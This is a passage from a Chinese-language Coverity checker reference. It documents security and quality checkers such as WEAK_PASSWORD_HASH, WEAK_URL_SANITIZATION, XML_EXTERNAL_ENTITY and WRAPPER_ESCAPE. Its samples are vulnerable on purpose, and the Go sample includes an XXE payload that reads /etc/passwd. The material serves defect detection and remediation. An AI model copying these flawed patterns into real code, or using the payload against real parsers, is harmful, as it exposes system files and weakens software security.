Public Function getPasswordHash2(password As String) As Byte()
 Const SALT As String = "Hc4HsaNJ69haeu6uKhsJnAKp"
 Dim hash = HashAlgorithm.Create("MD5")
 Return hash.ComputeHash(Encoding.UTF8.GetBytes(password + SALT)) 'defect
End Function
```

#### 4.359.4. 选项

本部分描述了一个或多个 WEAK\_PASSWORD\_HASH 选项。

您可以设置特定检查器选项值，方法是使用 cov-analyze 命令的 --checker-option 来传递这些值。有关详细信息，请参阅《Coverity 命令说明书》。

- WEAK\_PASSWORD\_HASH:allow\_sha2:<boolean> - 如果此选项被设置为 true，该检查器将在 hash 算法为 SHA-2（例如 SHA-256、SHA-384、SHA-512）时抑制弱 hash 缺陷。默认值为 WEAK\_PASSWORD\_HASH:allow\_sha2:false。
- WEAK\_PASSWORD\_HASH:report\_weak\_hashing\_on\_all\_strings:<boolean> - 如果此选项被设置为 true，该检查器会认为任意字符串都包含密码数据，这意味着它会报告所有弱 hash，即使是针对非密码源（例如常量字符串）。默认值为 WEAK\_PASSWORD\_HASH:report\_weak\_hashing\_on\_all\_strings:false。

Java 示例：

```
public void test_constant() throws Throwable {
 MessageDigest hash = MessageDigest.getInstance("MD5");
 hash.digest("constant".getBytes()); // WEAK_PASSWORD_HASH defect
}

public void test2_name_param(byte[] asdf) throws Throwable {
 MessageDigest hash = MessageDigest.getInstance("MD5");
 hash.digest(asdf); // WEAK_PASSWORD_HASH defect
}
```

如果 --webapp-security-aggressiveness-level 选项被设置为“高”(high)，则此选项会自动设置。

请注意，该分析会将某些字段和参数基于其名称视为密码数据。例如，将名为 password 的参数传递给弱 hash 函数会触发 WEAK\_PASSWORD\_HASH 缺陷。通过下面的命令行选项，您可以指定分析会将其视为密码数据的程序数据段：--add-password-regex 和 --replace-password-regex。有关详情，请参阅《Coverity 命令说明书》中的 cov-analyze 命令说明。

#### 4.359.5. 模型和注解

#### 4.359.5.1. Java

Java 模型和注解（请参阅 Section 5.4, “Java 模型和注解”）可以修改或扩展默认的一组字段、参数、方法返回值等（分析可能会将其视为密码数据的源）。

要指定密码源，您可以编写使用 Coverity 模型原语的模型。

对于 Java，该模型使用 `sensitive_source` 原语以及 `SensitiveDataType.SDT_PASSWORD` 作为源类型，例如：

```
Object returnsPassword() {
 // This function returns password data.
 sensitive_source(SensitiveDataType.SDT_PASSWORD);
}

void storesPasswordInParam(Object arg1) {
 // The parameter arg1 will be treated as password data.
 sensitive_source(arg1, SensitiveDataType.SDT_PASSWORD);
}
```

此外，您还可以在合适的情况下使用 `@SensitiveData` 注解代替原语。有关示例，请参阅 `@SensitiveData`。

Coverity 默认为多种此类源建模。

```
public byte[] hashPassword(java.net.PasswordAuthentication pa) {
 MessageDigest hash = MessageDigest.getInstance("MD5");
 return hash.digest(new String(pa.getPassword()).getBytes()); // defect
}
```

#### 4.359.5.2. C#

要指定密码源，您可以编写使用 `Coverity.Primitives.SensitiveSource` 原语以及 `Coverity.Primitives.SensitiveDataType.Password` 作为源类型的模型，例如：

```
Object returnsPassword() {
 // This function returns password data.
 sensitive_source(SensitiveDataType.SDT_PASSWORD);
}

void storesPasswordInParam(Object arg1) {
 // The parameter arg1 will be treated as password data.
 sensitive_source(arg1, SensitiveDataType.SDT_PASSWORD);
}
```

此外，您还可以在合适的情况下使用 `[SensitiveData]` 属性代替原语。

#### 4.359.6. 事件

本部分描述了 `WEAK_PASSWORD_HASH` 检查器生成的一个或多个事件。

- alias - 将密码数据从函数中的一个变量复制到了另一个变量。
- assign - 将密码数据赋值给变量。
- crypto\_field - 该分析检测到加密数据元素。此元素可能指定 hash 算法、输入密码或 salt 数据，或者与该检查器相关的某些其他信息。
- hash - 执行了 hash 操作。
- remediation - 关于修复弱密码 hash 漏洞的方法的信息。
- weak\_hash\_no\_salt - ( 主要事件 ) 使用弱 hash 函数对数据进行 hash 处理，无 salt。
- weak\_hash\_weak\_salt - ( 主要事件 ) 使用弱 hash 函数和常量 salt 对数据进行 hash 处理。
- weak\_hash - ( 主要事件 ) 使用弱 hash 函数对数据进行 hash 处理。
- weak\_salt - ( 主要事件 ) 使用常量 salt 对数据进行 hash 处理。

#### 数据流事件

- argument - 方法的参数使用密码数据。
- annotated\_password - 将字段、方法或参数注解为密码。
- call - 方法调用返回了密码数据。
- concat - 将密码数据与其他数据连接。
- field\_def - 通过字段传递了密码数据。
- field\_read - 从字段中读取了密码数据。
- field\_write - 将密码数据写入了字段。
- inferred\_password - 字段、方法或参数的名称表明该元素是密码。
- map\_read - 从映射中读取了密码数据。
- map\_write - 将密码数据写入了映射。
- parm\_in - 将密码数据传递给了方法参数。
- parm\_out - 将密码数据存储为了方法参数。
- password - 将方法建模为了返回密码数据。
- returned - 方法调用返回了密码数据。
- returning\_value - 当前方法返回了密码数据。

#### 4.360. WEAK\_URL\_SANITIZATION

安全检查器

### 4.360.1. 概述

支持的语言：. Java、JavaScript、Python、TypeScript

WEAK\_URL\_SANITIZATION 检查器查找若干可在安全上下文中使用的弱净化 URL 的情况：

- 用于验证主机名的正则表达式通过不适当地转义点元字符来实现过度宽松的检查。
- 使用子字符串检查执行 URL 净化。
- 正则表达式通过缺少字符串锚点开头来实现过度宽松的检查。

默认禁用：只能在审计模式下启用它。

### 4.360.2. 示例

本部分提供了一个或多个 WEAK\_URL\_SANITIZATION 示例。

#### 4.360.2.1. Java

对于 Java，WEAK\_URL\_SANITIZATION 检查器标记使用

`java.util.regex.Matcher.matches()`、`java.util.regex.Matcher.find()`、`java.util.regex.Pattern`、`java.lang.String.contains()` 或 `java.lang.String.matches()` 函数发生 URL 净化且可以被攻击者绕过的情况。WEAK\_URL\_SANITIZATION 不标记作为断言函数（例如 `assert()`、`assertThat()`、`assertFalse()` 和 `assertTrue()`）的一部分发生弱 URL 净化的情况。

在下面的示例中，对于不转义元字符的正则表达式，将显示 WEAK\_URL\_SANITIZATION 缺陷。（`www|beta`）之后的未转义 . 字符是指“匹配任何字符”。因此，以下示例中的弱正则表达式将接受可能由攻击者控制的主机名，如 `www-example.com` 或 `www5example.com`。

```
import javax.servlet.http.HttpServletResponse;

public class Searcher {
 void doGet(String css, HttpServletResponse response) {
 if(css.matches("^((www|beta).)?example\\.com")) { //defect here
 response.sendRedirect(css);
 }
 }
}
```

#### 4.360.2.2. JavaScript

对于 JavaScript，WEAK\_URL\_SANITIZATION 检查器标记使用 `match()` 或 `includes()` 函数进行 URL 净化的情况。

在下面的示例中，针对正则表达式中缺少字符串锚点开头显示 WEAK\_URL\_SANITIZATION 缺陷。

```
var express = require('express');
var app = express();
```

```

app.get("/some/path", function(req, res) {
 let url = req.param("url");
 if (url.match(/https?:\/\/www\.example\.com\/\//)) { //defect
 res.redirect(url);
 }
});

```

#### 4.360.2.3. Python

对于 Python，WEAK\_URL\_SANITIZATION 检查器标记使用 `in` 关键字、`string.find()`、`string.index()`、`re.match()`、`re.findall()`、`re.search()`、`re.fullmatch()` 或 `re.compile()` 函数和 `in` 关键字发生 URL 净化且可以被攻击者绕过的情况。

在下面的示例中，对于不转义元字符的正则表达式，将显示 WEAK\_URL\_SANITIZATION 缺陷。`(www|beta)` 之后的未转义 `.` 字符是指“匹配任何字符”。因此，以下示例中的弱正则表达式将接受可能由攻击者控制的主机名 `www-example.com` 或 `www5example.com`。

```

import re
line = "https://www.google.com"
matchObj = re.match(r'^((www|beta)\.)?example\.com', line, re.M|re.I) #defect here
if matchObj:
 print("match --> matchObj.group() : ", matchObj.group())
else:
 print ("No match!!")

```

### 4.361. WEAK\_XML\_SCHEMA

安全检查器

#### 4.361.1. 概述

支持的语言：. C#、Java

WEAK\_XML\_SCHEMA 检查器查找 XSD (XML Schema Definition) 方案文件中的不安全设置：

- `maxOccurs` 属性被显式设置为 `unbounded`。在这种情况下，攻击者可能向有效负载提供大量元素，从而导致资源耗尽，并可能拒绝服务。
- `processContents` 属性被设置为 `lax` 或 `skip`。在这种情况下，攻击者可能能够向元素提交意外字段，因为不会执行严格输入验证。
- 使用了 `<any>` 元素，它允许有效文档中的任意节点。这可能有助于执行 XML 注入攻击。

WEAK\_XML\_SCHEMA 检查器默认禁用。它可以通过 `--webapp-security` 启用。

#### 4.361.2. 示例

本部分提供了一个或多个 WEAK\_XML\_SCHEMA 示例。

在下面的示例中，针对在 XML 方案中使用的 `<any>` 元素，显示了 WEAK\_XML\_SCHEMA 缺陷。

```

<?xml version="1.0" encoding="UTF-8"?>
<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" >
 <xs:element name="user" >
 <xs:complexType>
 <xs:sequence>
 <xs:element name="firstName" maxOccurs="1" />
 <xs:element name="lastName" maxOccurs="1" />
 <xs:element name="role" maxOccurs="1"/>
 <xs:any minOccurs="0" /> <!-- defect here -->
 </xs:sequence>
 </xs:complexType>
 </xs:element>
</xs:schema>

```

### 4.361.3. 缺陷剖析

这部分描述了 WEAK\_XML\_SCHEMA 检查器的缺陷信息。

- unbounded\_occurrences

**影响：**中等

该方案允许此元素的出现次数不限。攻击者可以利用允许无边界元素的方案，向应用程序提供大量元素，导致应用程序耗尽系统资源。

**补救：**将 maxOccurs 设置为有限数，或忽略该设置，因为其默认值为 1。

- element\_any

**影响：**中等

在有效文档中允许任意节点。允许任意内容使攻击者更容易执行 XML 注入等攻击。

**补救：**避免使用 <any> 元素。

- lax\_processing

**影响：**低

将 processContents 属性设置为 lax 或跳过会导致不对元素执行输入验证。不执行严格输入验证的方案可以允许根据它验证任意元素或属性。这为攻击者向系统提供恶意文档打开了大门。

**补救：**将 processContents 设置为 strict，或忽略该设置，因为其默认值为 strict。

## 4.362. WRAPPER\_ESCAPE

质量检查器

### 4.362.1. 概述

支持的语言：. C++

`WRAPPER_ESCAPE` 可查找本地或全局范围对象的字符串封装类（例如 `CComBSTR`、`_bstr_t`、`CString` 或 `std::string`）的内部表示转义当前函数的很多情况。通常产生的影响是释放后使用错误，因为该对象会在退出时破坏它的内部 BSTR。使用转义指针的项现在具有无效的指针。

您还可以自定义 `WRAPPER_ESCAPE` 在报告缺陷时评估的类和函数。

默认启用：`WRAPPER_ESCAPE` 默认启用。有关启用/禁用详情和选项，请参阅Section 1.2，“启用和禁用检查器”。

#### 4.362.2. 示例

本部分提供了一个或多个 `WRAPPER_ESCAPE` 示例。

```
BSTR has_a_bug()
{
 return CComBSTR(L"temporary object"); // bug
}
```

`WRAPPER_ESCAPE` 还可查找在对象被破坏后发生在函数中的释放后继续使用错误。此类报告与 `USE_AFTER_FREE` 生成的那些报告类似，但 `WRAPPER_ESCAPE` 使用不同的算法，更容易找到不同类型的程序缺陷。

```
void has_another_bug()
{
 char const *p;
 {
 std::string s("hi");
 p = s.c_str();
 } // s is destroyed
 use(p); // use after free
}
```

在下面的示例中，内部表示通过全局对象转义，而且使用了无效的指针。

```
string global_string;
char const *test() {
 char const *s = global_string.c_str(); // internal representation escapes
 global_string += "foobaz"; // invalidation
 return s; // use of invalid pointer
}
```

该检查器将报告来自 STL 容器的转义，如下面的示例所示。

```
#include <vector>

void use(int);

void buggy() {
 std::vector<int> v;
 v.push_back(10);
```

```

int &x = v.back();
v.push_back(20); // might reallocate memory
use(x); // using possibly invalid memory
}

```

### 4.362.3. 选项

本部分描述了一个或多个 `WRAPPER_ESCAPE` 选项。

您可以设置特定检查器选项值，方法是使用 `cov-analyze` 命令的 `--checker-option` 来传递这些值。有关详细信息，请参阅《Coverity 命令说明书》。

- `WRAPPER_ESCAPE:config_file:<path-to-config-file>` - 该 C++ 选项指定配置文件的路径。默认情况下，分析会使用位于 `<install_dir> /config/wrapper_escape.conf` 中的配置。
- `WRAPPER_ESCAPE:escape_locals_only:<boolean>` - 当此 C++ 选项被设置为 `true` 时，该检查器只会报告内部表示通过已分配堆栈的对象进行转义的缺陷。默认值为 `WRAPPER_ESCAPE:escape_locals_only:false`
- `WRAPPER_ESCAPE:skip_AddRef_callers:<boolean>` - 当此 C++ 选项被设置为 `true` 时，该检查器不会针对调用 `AddRef()` 方法的任何函数报告缺陷。此选项旨在解决因该检查器未能正确解释引用计数 idiom 导致的误报。默认值为 `WRAPPER_ESCAPE:skip_AddRef_callers:false`

### 4.362.4. 模型

编辑 `wrapper_escape.conf` 以添加 `WRAPPER_ESCAPE` 将评估其是否存在缺陷的类（并为这些类中的函数设置规则）。此配置文件（请参阅 `config_file` 检查器选项）包含解释和展示语法的注释和示例。

### 4.362.5. 事件

本部分描述了 `WRAPPER_ESCAPE` 检查器生成的一个或多个事件。

- `dtor_free` - 析构函数释放了内部表现形式。
- `init_param` - 封装类对象为参数。
- `init_ctor` - 封装类对象通过其构造函数初始化。
- `invalidate` - 针对封装类的运算导致内部表现形式失效（释放了内部表现形式）。
- `create_new_obj` - 分配了新封装类对象。
- `create_new_repr` - 将内部表现形式分配为封装类运算的结果。
- `init_assign` - 为封装类对象赋值导致分配了内部表现形式。
- `copy` - 在本地变量之间复制了封装类或内部表现形式指针。
- `extract_<desc>` - 从为 `parameter`、`temporary` 或 `local` 的封装类对象中提取了内部表现形式。

- `use_after_free` - 在对象被释放后使用了对象。
- `use_agg_after_free` - 使用了集合对象（例如结构或数组），即使其包含指向已释放值的指针。
- `escape_site_obj` - 参数、临时或本地封装类对象中的内部表示通过以下站点之一转义了函数的生命周期：`return`、`deref_assign`、`field_assign` 或 `global_assign`。
- `escape_<site>_indir` - 某个对象的内部表现形式被复制到了本地变量中，目前正通过站点转义。
- `escape_<site>_agg_indir` - 集合（结构或数组）值通过站点转义，但包含指向某个对象的内部表现形式的指针。

## 4.363. WRITE\_CONST\_FIELD

质量检查器

### 4.363.1. 概述

支持的语言：. C、C++、Objective-C、Objective-C++

`WRITE_CONST_FIELD` 检查器在函数写入结构、类或联合时且该写入修改了聚合中的常量限定字段时指出问题。

`WRITE_CONST_FIELD` 检查器默认禁用。您可以使用 `cov-analyze` 命令的 `--enable` 选项启用它。

### 4.363.2. 示例

本部分提供了一个或多个 `WRITE_CONST_FIELD` 示例。

这是一个缺陷，因为 `bzero` 重写 `fieldB`。

```
struct container { int fieldA; int const fieldB; }

struct container testObj;
bzero(&testObj, sizeof(testObj));
```

### 4.363.3. 事件

本部分描述了 `WRITE_CONST_FIELD` 检查器生成的一个或多个事件。

错误报告

当具有常量限定成员的结构是来自函数 `memcpy`、`memccpy`、`memmove`、`memset`、`bzero` 或 `bcopy` 之一的写入的目标时，以及当该写入的大小已知并包含一个常量限定成员时，将在函数调用的站点报告缺陷。这是一个高影响缺陷。也在聚合的声明中生成事件，以突出显示被重写的特定常量限定成员。

## 4.364. WRONG\_METHOD

质量检查器

#### 4.364.1. 概述

支持的语言：. Java

`WRONG_METHOD` 可查找某些不正确地使用 `Boolean.getBoolean`、`Integer.getInteger` 和它们的一些变体的情况。例如，`Boolean.getBoolean` 和 `Integer.getInteger` 返回了指定系统属性的值并将其分别分析为布尔和整数类型。因此，它们需要代表系统属性名称的字符串（作为第一个参数）。典型的误解是，`Boolean.getBoolean` 可将诸如 `true` 和 `false` 的字符串分析为布尔值，而且 `Integer.getInteger` 的作用类似。实际上，`Boolean.valueOf` 和 `Integer.valueOf` 方法才是用于执行此类目的。

默认启用：`WRONG_METHOD` 默认启用。有关启用/禁用详情和选项，请参阅 Section 1.2，“启用和禁用检查器”。

#### 4.364.2. 示例

本部分提供了一个或多个 `WRONG_METHOD` 示例。

##### 4.364.2.1. Java

下面的代码是命令行分析器，`args[i]` 是任意值（可能是系统属性的名称）。

```
static void main(String args[])
{
 for(int i=0; i<args.length; i++) {
 if(args[i].equals("--amount")) {
 i++;

 Integer amount = Integer.getInteger(args[i]); // Defect here.
 }
 }
}
```

在下面的示例中，原本打算将 `CONST_STR` 字段声明为 `final`（代码中缺少此项）。传递非 `final` 字段通常表明不正确地使用了 `Integer.getInteger` 方法。在该示例中，`CONST_STR` 代表未被标记为 `final` 的系统属性。要修复此类问题，Coverity 建议将字段设置为 `final`。

```
private static String CONST_STR = "com.my_company.field_name";

void init() {
 Integer field = Integer.getInteger(CONST_STR); // Defect here.
}
```

#### 4.364.3. 选项

本部分描述了一个或多个 `WRONG_METHOD` 选项。

您可以设置特定检查器选项值，方法是使用 `cov-analyze` 命令的 `--checker-option` 来传递这些值。有关详细信息，请参阅《Coverity 命令说明书》。

- `WRONG_METHOD:ignore_pattern:<regular_expression>` - 如果指定了此选项，该检查器会抑制第一个参数是带有与此正则表达式匹配的名称（仅限标识符）的字段或方法的缺陷。匹配不区分大小写。空模式与任何项都不匹配，这可有效禁止此模式匹配。默认值为 `WRONG_METHOD:ignore_pattern:.*prop.*|.*name`。也就是说，对于名称以 `name` 结尾的标识符，缺陷也会被抑制，从而消除了一些误报。

#### 4.364.4. 事件

本部分描述了 `WRONG_METHOD` 检查器生成的一个或多个事件。

- `wrong_method` - [Java] 主要事件：识别缺陷。
- `remediation` - [Java] 提供关于修复问题的指导。

### 4.365. XML\_EXTERNAL\_ENTITY

安全检查器

#### 4.365.1. 概述

支持的语言：. C#、Go、Java、JavaScript、Kotlin、PHP、Python、Swift 和 Visual Basic

`XML_EXTERNAL_ENTITY` 可在被污染数据被传递（作为 XML 输入）给不正确配置的 XML 解析器时报告缺陷。弱配置的 XML 解析器可以被攻击者利用，进而导致大范围的问题，例如拒绝服务、以其他方式过度使用本地资源、泄露敏感数据或生成不需要的服务器请求。

在 Go 中，`XML_EXTERNAL_ENTITY` 报告任何不正确配置的 XML 解析器的使用情况。

默认禁用：`XML_EXTERNAL_ENTITY` 默认禁用。要启用它，您可以在 `cov-analyze` 命令中使用 `--enable` 选项。有关检查器启用和禁用的详细信息和选项，请参阅“检查器启用和选项默认值（按语言）”一章。

默认启用 [Go、Kotlin 和 Swift]：`XML_EXTERNAL_ENTITY` 默认启用。有关检查器启用和禁用的详细信息和选项，请参阅“检查器启用和选项默认值（按语言）”一章。

Web 应用程序安全检查器启用：要启用 `XML_EXTERNAL_ENTITY` 以及其他 Web 应用程序检查器，请使用 `--webapp-security` 选项。

Android 安全检查器启用：要与其他 Java Android 安全检查器一起启用 `XML_EXTERNAL_ENTITY`，请在 `cov-analyze` 命令中使用 `--android-security` 选项。

这是被污染的数据检查器。有关更多信息，请参阅“Section 6.8，“被污染的数据概述””。

#### 4.365.2. 示例

本部分提供了 `XML_EXTERNAL_ENTITY` 检查器发现的缺陷示例。在每个示例中，XML 解析器在未充分保护的情况下设置，然后被用于分析被污染的输入。该漏洞具有双重性：

- 解析器不限制递归实体扩展。在 XML 输入中处理任意文档类型声明 (DTD) 可能导致分析大量实体，导致拒绝服务。
- 解析器允许任意外部实体引用。攻击者控制的 DTD 可以指定外部 URL，使处理 DTD 的影响类似于服务器端请求伪造。

#### 4.365.2.1. C#

```
class XMLExternalEntity {
 void Test(WebRequest req) {
 XmlTextReader reader = new XmlTextReader(req.InputStream);
 XmlDocument xmlDoc = new XmlDocument();
 xmlDoc.Load(reader); // Defect here.
 }
}
```

#### 4.365.2.2. Go

在下面的示例中，针对 Gokogiri XML 处理库的不安全使用情况报告了 XML\_EXTERNAL\_ENTITY 缺陷。

```
package main

import (
 "github.com/jbowtie/gokogiri/xml"
)

func main() {
 payload := `<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<tag>&xxe;</tag>`

 document,_ := xml.Parse([]byte(payload), xml.DefaultEncodingBytes, nil, // Defect
here
 xml.StrictParseOption,
 xml.DefaultEncodingBytes)
 defer document.Free()
}
```

#### 4.365.2.3. Java

在下面的示例中，在最后语句之后报告了一个缺陷。

```
public class XMLExternalEntity {
 public void test(HttpServletRequest req) throws Exception {
 DocumentBuilderFactory factory =

```

```
DocumentBuilderFactory.newInstance();

DocumentBuilder builder = factory.newDocumentBuilder();

Document doc = builder.parse(req.getInputStream());
 // Defect here.
}

}
```

#### 4.365.2.4. JavaScript

在下面的示例中，针对调用 `parser.parse` 报告缺陷。

```
var express = require('express');
var expat = require('node-expat');

var app = express();
var parser = new expat.Parser('UTF-8');

app.get('/summary', function(req, res) {
 console.log(req.query.path);
 parser.parse(req.query.path); // Defect Here

 res.sendStatus('Status:' + 1);
});

app.listen(3000, function() {console.log('Listening ')});
```

#### 4.365.2.5. Kotlin

在下面的示例中，在最后语句之后报告了一个缺陷。

```
class XMLEntity {
 fun test(req: HttpServletRequest) {
 val factory = DocumentBuilderFactory.newInstance()
 val builder = factory.newDocumentBuilder()
 val doc: Document = builder.parse(req.getInputStream())
 }
}
```

#### 4.365.2.6. PHP

在下面的示例中，针对调用 `simple_xml_load` 报告缺陷。

```
<?php
$filename = $_GET['path'];
$config = simplexml_load_file($filename); ?>
```

#### 4.365.2.7. Python

在下面的示例中，针对调用 `etree_parse` 报告缺陷。

```

from lxml.etree import parse as etree_parse
from lxml.etree import ETCompatXMLParser
from django.conf.urls import url

def load_xml(request):
 input_xml_file = request.body
 parser = ETCompatXMLParser();
 etree_parse(input_xml_file, parser);

urlpatterns = [
 url(r'^index', load_xml)
]

```

#### 4.365.2.8. Swift

在下面的示例中，针对使用 `--distrust-database` 进行分析时调用 `xmlParser.parse()` 报告缺陷。

```

import Foundation

func parseConfiguration(store: NSUbiquitousKeyValueStore) -> Bool{
 // Tainted data and parser is unsafe => DEFECT
 let xmlParser = XMLParser(data:store.data(forKey: "document")!)

 xmlParser.shouldResolveExternalEntities = true
 return xmlParser.parse() // Defect
}

```

#### 4.365.2.9. Visual Basic

```

Class XMLExternalEntity
 Sub Test(req As HttpRequest)
 Dim reader As XmlTextReader = New XmlTextReader(req.InputStream)
 Dim xmlDoc As XmlDocument = New XmlDocument()
 xmlDoc.Load(reader) ' Defect here.
 End Sub
End Class

```

### 4.365.3. 选项

这部分描述了用于 `XML_EXTERNAL_ENTITY` 检查器的选项。

您可以设置特定检查器选项值，方法是使用 `cov-analyze` 命令的 `--checker-option` 来传递这些值。有关详细信息，请参阅《Coverity 命令说明书》。

- `XML_EXTERNAL_ENTITY:distrust_all:<boolean>` - [JavaScript、Kotlin、PHP、Python 和 Swift] 将此选项设置为 `true` 等同于将此检查器的所有 `trust_*` 检查器选项设置为 `false`。默认值为 `XML_EXTERNAL_ENTITY:distrust_all:false`。

如果将 `cov-analyze` 命令的 `XML_EXTERNAL_ENTITY:webapp-security-aggressiveness-level` 选项设置为 `high`，则该检查器选项会自动设置为 `true`。

- XML\_EXTERNAL\_ENTITY:trust\_command\_line:<boolean> - [JavaScript、Kotlin、PHP、Python 和 Swift] 将此选项设置为 false 会导致分析将命令行参数视为被污染。默认值为 XML\_EXTERNAL\_ENTITY:trust\_command\_line:true。设置此检查器选项会覆盖全局 --trust-command-line 和 --distrust-command-line 命令行选项。
- XML\_EXTERNAL\_ENTITY:trust\_console:<boolean> - [JavaScript、Kotlin、PHP、Python 和 Swift] 将此选项设置为 false 会导致分析将来自控制台的数据视为被污染。默认值为 XML\_EXTERNAL\_ENTITY:trust\_console:true。设置此检查器选项会覆盖全局 --trust-console 和 --distrust-console 命令行选项。
- XML\_EXTERNAL\_ENTITY:trust\_cookie:<boolean> - [JavaScript、Kotlin、PHP、Python 和 Swift] 将此选项设置为 false 会导致分析将来自 HTTP cookie 的数据视为被污染。默认值为 XML\_EXTERNAL\_ENTITY:trust\_cookie:false。设置此检查器选项会覆盖全局 --trust-cookie 和 --distrust-cookie 命令行选项。
- XML\_EXTERNAL\_ENTITY:trust\_database:<boolean> - [JavaScript、Kotlin、PHP、Python 和 Swift] 将此选项设置为 false 会导致分析将来自数据库的数据视为被污染。默认值为 XML\_EXTERNAL\_ENTITY:trust\_database:true。设置此检查器选项会覆盖全局 --trust-database 和 --distrust-database 命令行选项。
- XML\_EXTERNAL\_ENTITY:trust\_environment:<boolean> - [JavaScript、Kotlin、PHP、Python 和 Swift] 将此选项设置为 false 会导致分析将来自环境变量的数据视为被污染。默认值为 XML\_EXTERNAL\_ENTITY:trust\_environment:true。设置此检查器选项会覆盖全局 --trust-environment 和 --distrust-environment 命令行选项。
- XML\_EXTERNAL\_ENTITY:trust\_filesystem:<boolean> - [JavaScript、Kotlin、PHP、Python 和 Swift] 将此选项设置为 false 会导致分析将来自文件系统的数据视为被污染。默认值为 XML\_EXTERNAL\_ENTITY:trust\_filesystem:true。设置此检查器选项会覆盖全局 --trust-filesystem 和 --distrust-filesystem 命令行选项。
- XML\_EXTERNAL\_ENTITY:trust\_http:<boolean> - [JavaScript、Kotlin、PHP、Python 和 Swift] 将此选项设置为 false 会导致分析将来自 HTTP 请求的数据视为被污染。默认值为 XML\_EXTERNAL\_ENTITY:trust\_http:false。设置此检查器选项会覆盖全局 --trust-http 和 --distrust-http 命令行选项。
- XML\_EXTERNAL\_ENTITY:trust\_http\_header:<boolean> - [JavaScript、Kotlin、PHP、Python 和 Swift] 将此选项设置为 false 会导致分析将来自 HTTP 头文件的数据视为被污染。默认值为 XML\_EXTERNAL\_ENTITY:trust\_http\_header:false。设置此检查器选项会覆盖全局 --trust-http-header 和 --distrust-http-header 命令行选项。
- XML\_EXTERNAL\_ENTITY:trust\_mobile\_other\_app:<boolean> - [仅限 Kotlin 和 Swift] 将此选项设置为 true 会导致分析信任以下数据：从不需要获取权限即可与当前应用程序组件通信的任何移动应用程序收到的数据。默认值为 XML\_EXTERNAL\_ENTITY:trust\_mobile\_other\_app:false。设置此检查器选项会覆盖全局 --trust-mobile-other-app 和 --distrust-mobile-other-app 命令行选项。
- XML\_EXTERNAL\_ENTITY:trust\_mobile\_same\_app:<boolean> - [仅限 Kotlin 和 Swift] 将此选项设置为 false 会导致分析将从同一移动应用程序收到的数据视为被污染。默认值为 XML\_EXTERNAL\_ENTITY:trust\_mobile\_same\_app:true。设置此检查器选项会覆盖全局 --trust-mobile-same-app 和 --distrust-mobile-same-app 命令行选项。

- XML\_EXTERNAL\_ENTITY:trust\_mobile\_user\_input:<boolean> - [仅限 Kotlin 和 Swift] 将此选项设置为 true 会导致分析将从用户输入获取的数据视为未被污染。默认值为 XML\_EXTERNAL\_ENTITY:trust\_mobile\_user\_input:false。设置此检查器选项会覆盖全局 --trust-mobile-user-input 和 --distrust-mobile-user-input 命令行选项。
- XML\_EXTERNAL\_ENTITY:trust\_mobile\_other\_privileged\_app:<boolean> - [仅限 Kotlin 和 Swift] 将此选项设置为 false 会导致分析将以下数据视为被污染：从需要获取权限才能与当前应用程序组件通信的任何移动应用程序收到的数据。默认值为 XML\_EXTERNAL\_ENTITY:trust\_mobile\_other\_privileged\_app:true。设置此检查器选项会覆盖全局 --trust-mobile-other-privileged-app 和 --distrust-mobile-other-privileged-app 命令行选项。
- XML\_EXTERNAL\_ENTITY:trust\_network:<boolean> - [JavaScript、Kotlin、PHP、Python 和 Swift] 将此选项设置为 false 会导致分析将来自网络的数据视为被污染。默认值为 XML\_EXTERNAL\_ENTITY:trust\_network:false。设置此检查器选项会覆盖全局 --trust-network 和 --distrust-network 命令行选项。
- XML\_EXTERNAL\_ENTITY:trust\_rpc:<boolean> - [JavaScript、Kotlin、PHP、Python 和 Swift] 将此选项设置为 false 会导致分析将来自 RPC 请求的数据视为被污染。默认值为 XML\_EXTERNAL\_ENTITY:trust\_rpc:false。设置此检查器选项会覆盖全局 --trust-rpc 和 --distrust-rpc 命令行选项。
- XML\_EXTERNAL\_ENTITY:trust\_system\_properties:<boolean> - [JavaScript、Kotlin、PHP、Python 和 Swift] 将此选项设置为 false 会导致分析将来自系统属性的数据视为被污染。默认值为 XML\_EXTERNAL\_ENTITY:trust\_system\_properties:true。设置此检查器选项会覆盖全局 --trust-system-properties 和 --distrust-system-properties 命令行选项。

#### 4.365.4. 事件

本部分描述了 XML\_EXTERNAL\_ENTITY 检查器生成的一个或多个事件。

- sink - ( 主要事件 ) 识别被污染的数据到达数据消费者的位置。
- remediation - 提供关于修复安全漏洞的信息。
- xml\_external\_entity ( 主要事件 ) [仅限 Go] - 标识使用配置较弱的 XML 解析器的位置。

#### 数据流事件

- member\_init - 使用被污染的数据创建类实例同时用被污染的数据初始化其成员。
- object\_construction - 使用被污染的数据创建类实例。
- subclass - 创建了类实例以用作超类。
- taint\_alias - 为被污染的对象设置了别名。
- taint\_path - 将被污染的值赋值给本地变量。
- taint\_path\_arg - 将被污染的值作为方法的参数。

- `taint_path_attr` - [仅限 Java 和 Kotlin] 将被污染的值存储为包含页面、请求、会话或应用程序范围的 Web 应用程序属性。
- `taint_path_call` - 此方法调用返回被污染的值。
- `taint_path_field` - 将被污染的值赋值给一个字段。
- `taint_path_map_read` - 从映射中读取被污染的值。
- `taint_path_map_write` - 将被污染的值写入映射。
- `taint_path_param` - 调用方将被污染的参数作为参数传递给此方法。
- `taint_path_return` - 当前方法返回被污染的值。
- `tainted_source` - 被污染值所起源的方法。

## 4.366. XML\_INJECTION

安全审计检查器

### 4.366.1. 概述

支持的语言 : . C#、Java、Python、Visual Basic

XML\_INJECTION 查找包含用户控制的内容的 XML 被分析的情况。如果输入数据未正确净化，恶意用户可能能够插入不正常的内容或结构，以破坏应用程序的逻辑。这可以通过转义预期上下文并插入其他元素标记实现。安全影响取决于 XML 数据的性质以及其使用方式。

默认禁用 : XML\_INJECTION 默认禁用。要启用它，您可以在 cov-analyze 命令中使用 `--enable` 选项。

安全审计启用 : 要与其他安全审计功能一起启用 XML\_INJECTION，请使用 `--enable-audit-mode` 选项。启用审计模式对检查器有其他作用。有关更多信息，请参阅《Coverity 命令说明》中对 cov-analyze 命令的描述。

### 4.366.2. 缺陷剖析

XML\_INJECTION 缺陷表明不可信（被污染）数据通过数据流路径在整个程序中传递，并最终分析为 XML 输入。第一个事件描述了被污染数据源。然后是跟踪程序内逐步传递过程的事件。最后一个事件说明字符串被传递给 XML 分析器。

### 4.366.3. 示例

本部分提供了一个或多个 XML\_INJECTION 示例。

#### 4.366.3.1. C#

